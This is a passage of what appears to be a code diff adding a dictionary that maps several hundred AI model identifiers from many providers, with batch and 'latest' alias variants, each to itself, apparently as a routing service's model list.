'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 